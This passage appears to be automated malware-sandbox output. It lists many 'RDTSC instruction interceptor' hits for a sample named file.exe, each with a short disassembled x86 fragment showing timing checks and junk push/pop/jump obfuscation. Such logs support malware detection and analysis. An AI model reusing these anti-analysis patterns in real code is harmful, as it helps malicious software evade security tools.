Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DE44F second address: 5DE482 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD4A8FBA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007FD4A8FBA018h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jnl 00007FD4A8FBA035h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FD4A8FBA027h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFBAA second address: 5DFBAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0C16 second address: 5E0CB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4A8FBA01Eh 0x00000010 pop edx 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D1CF4h], ebx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007FD4A8FBA018h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 je 00007FD4A8FBA02Fh 0x0000003a call 00007FD4A8FBA022h 0x0000003f mov dword ptr [ebp+122D1EC4h], ebx 0x00000045 pop edi 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push ebx 0x0000004b call 00007FD4A8FBA018h 0x00000050 pop ebx 0x00000051 mov dword ptr [esp+04h], ebx 0x00000055 add dword ptr [esp+04h], 00000015h 0x0000005d inc ebx 0x0000005e push ebx 0x0000005f ret 0x00000060 pop ebx 0x00000061 ret 0x00000062 add si, 30F8h 0x00000067 push eax 0x00000068 pushad 0x00000069 pushad 0x0000006a pushad 0x0000006b popad 0x0000006c jno 00007FD4A8FBA016h 0x00000072 popad 0x00000073 push esi 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E224E second address: 5E22CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push esi 0x00000007 jnl 00007FD4A8CA674Ch 0x0000000d pop esi 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FD4A8CA6748h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b jmp 00007FD4A8CA6755h 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007FD4A8CA6748h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c push ebx 0x0000004d cld 0x0000004e pop edi 0x0000004f xchg eax, ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 push edi 0x00000053 pushad 0x00000054 popad 0x00000055 pop edi 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1520 second address: 5E1526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1526 second address: 5E152A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E152A second address: 5E152E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2D56 second address: 5E2DCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jbe 00007FD4A8CA674Bh 0x00000010 mov edi, 3AA0468Ah 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FD4A8CA6748h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 jmp 00007FD4A8CA6758h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007FD4A8CA6748h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 0000001Ah 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 xchg eax, ebx 0x00000053 push eax 0x00000054 pushad 0x00000055 push edi 0x00000056 pop edi 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3833 second address: 5E3838 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E35C0 second address: 5E35D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8CA6751h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4AEB second address: 5E4AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E79A2 second address: 5E79A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E86B9 second address: 5E86BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E86BD second address: 5E8732 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD4A8CA6746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FD4A8CA6748h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007FD4A8CA6748h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 pushad 0x00000043 or ch, FFFFFFF3h 0x00000046 mov edx, 50BEB517h 0x0000004b popad 0x0000004c push 00000000h 0x0000004e mov edi, 4F2C4A42h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jg 00007FD4A8CA6746h 0x0000005d jmp 00007FD4A8CA674Bh 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8732 second address: 5E873C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD4A8FBA016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E873C second address: 5E8740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA821 second address: 5EA841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8FBA026h 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA841 second address: 5EA855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007FD4A8CA6746h 0x0000000c jng 00007FD4A8CA6746h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAE33 second address: 5EAE39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8900 second address: 5E890A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FD4A8CA6746h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAE39 second address: 5EAE3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAE3D second address: 5EAE41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBF8A second address: 5EBF8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC1F7 second address: 5EC1FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC1FB second address: 5EC201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDE78 second address: 5EDE94 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 ja 00007FD4A8CA6746h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 js 00007FD4A8CA6746h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDE94 second address: 5EDED1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FD4A8FBA018h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 and bl, 00000000h 0x00000025 push 00000000h 0x00000027 xor ebx, dword ptr [ebp+122D391Ah] 0x0000002d push 00000000h 0x0000002f mov bx, di 0x00000032 xchg eax, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDED1 second address: 5EDED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDED6 second address: 5EDEF6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FD4A8FBA024h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDEF6 second address: 5EDEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDEFA second address: 5EDEFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEDF9 second address: 5EEDFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEDFE second address: 5EEE8C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FD4A8FBA01Dh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FD4A8FBA018h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 call 00007FD4A8FBA026h 0x0000002d mov di, 8726h 0x00000031 pop edi 0x00000032 push 00000000h 0x00000034 ja 00007FD4A8FBA018h 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007FD4A8FBA018h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 0000001Ah 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 xchg eax, esi 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b jnp 00007FD4A8FBA016h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEE8C second address: 5EEE92 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEE92 second address: 5EEEA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA01Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE04B second address: 5EE0EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jmp 00007FD4A8CA6754h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov dword ptr [ebp+122D1B51h], ebx 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007FD4A8CA6748h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 00000019h 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b jns 00007FD4A8CA674Ch 0x00000041 mov eax, dword ptr [ebp+122D0FE1h] 0x00000047 mov dword ptr [ebp+122D21CFh], edx 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push eax 0x00000052 call 00007FD4A8CA6748h 0x00000057 pop eax 0x00000058 mov dword ptr [esp+04h], eax 0x0000005c add dword ptr [esp+04h], 0000001Bh 0x00000064 inc eax 0x00000065 push eax 0x00000066 ret 0x00000067 pop eax 0x00000068 ret 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007FD4A8CA6751h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE0EF second address: 5EE0F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFDFE second address: 5EFE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4A8CA6754h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE0F3 second address: 5EE0F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE0F9 second address: 5EE103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD4A8CA6746h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE103 second address: 5EE107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0F43 second address: 5F0F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FD4A8CA6748h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFFD0 second address: 5F008A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b pushad 0x0000000c jc 00007FD4A8FBA01Ch 0x00000012 jo 00007FD4A8FBA016h 0x00000018 jg 00007FD4A8FBA02Bh 0x0000001e popad 0x0000001f nop 0x00000020 ja 00007FD4A8FBA01Ch 0x00000026 push dword ptr fs:[00000000h] 0x0000002d mov dword ptr [ebp+122D55EDh], ebx 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov dword ptr [ebp+122D2801h], ecx 0x00000040 mov eax, dword ptr [ebp+122D03B9h] 0x00000046 push 00000000h 0x00000048 push esi 0x00000049 call 00007FD4A8FBA018h 0x0000004e pop esi 0x0000004f mov dword ptr [esp+04h], esi 0x00000053 add dword ptr [esp+04h], 0000001Ch 0x0000005b inc esi 0x0000005c push esi 0x0000005d ret 0x0000005e pop esi 0x0000005f ret 0x00000060 mov ebx, dword ptr [ebp+122D2DA9h] 0x00000066 push FFFFFFFFh 0x00000068 movzx ebx, bx 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007FD4A8FBA024h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0F54 second address: 5F0F5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F008A second address: 5F00A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8FBA029h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F00A7 second address: 5F00AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1DDD second address: 5F1DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1DE1 second address: 5F1DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1DE5 second address: 5F1DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1DEF second address: 5F1DF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F117F second address: 5F1191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8FBA01Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3F9C second address: 5F3FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3FA0 second address: 5F3FA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5B99 second address: 5F5BB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4A8CA6754h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7DB1 second address: 5F7DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5DDE second address: 5F5DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FD4A8CA6746h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5DE8 second address: 5F5E09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FD4A8FBA016h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5E09 second address: 5F5E16 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4A8CA6746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9473 second address: 5F9489 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD4A8FBA01Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F85BA second address: 5F85D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jg 00007FD4A8CA675Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD4A8CA674Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F85D2 second address: 5F85D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6013BF second address: 6013C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600CA0 second address: 600CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD4A8FBA016h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600CB1 second address: 600CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD4A8CA6746h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6093FC second address: 60941F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA023h 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FD4A8FBA016h 0x0000000f jns 00007FD4A8FBA016h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60941F second address: 609429 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD4A8CA6746h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597C83 second address: 597C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD4A8FBA016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597C8D second address: 597C91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E474 second address: 60E490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD4A8FBA024h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E490 second address: 60E495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E495 second address: 60E49A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E610 second address: 60E65E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FD4A8CA675Bh 0x0000000e pushad 0x0000000f jmp 00007FD4A8CA674Ah 0x00000014 jmp 00007FD4A8CA674Bh 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FD4A8CA6750h 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E7A3 second address: 60E7BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4A8FBA023h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6136E3 second address: 6136EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6138C5 second address: 6138CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6138CB second address: 6138D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613CDE second address: 613CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613CE2 second address: 613CEC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD4A8CA6746h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613CEC second address: 613D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FD4A8FBA02Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
